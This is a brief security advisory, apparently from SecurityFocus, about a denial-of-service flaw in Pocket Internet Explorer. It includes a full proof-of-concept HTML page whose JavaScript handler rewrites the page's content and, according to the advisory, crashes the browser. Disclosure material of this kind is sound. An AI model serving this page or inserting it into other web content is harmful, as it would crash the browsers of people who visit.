source: https://www.securityfocus.com/bid/6507/info A denial of service vulnerability has been reported for Pocket Internet Explorer (PIE). The vulnerability is due to the way some JavaScript code is interpreted by PIE. By enticing a victim user to browse a maliciously crafted web page an attacker can cause PIE to crash. <html> <head> <script language="Javascript"> function displayPage(page){ if(page=="onload"){ main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash me</a>";} if(page=="crash"){ main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">crash!</a>";} } </script> </head> <body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body> </html>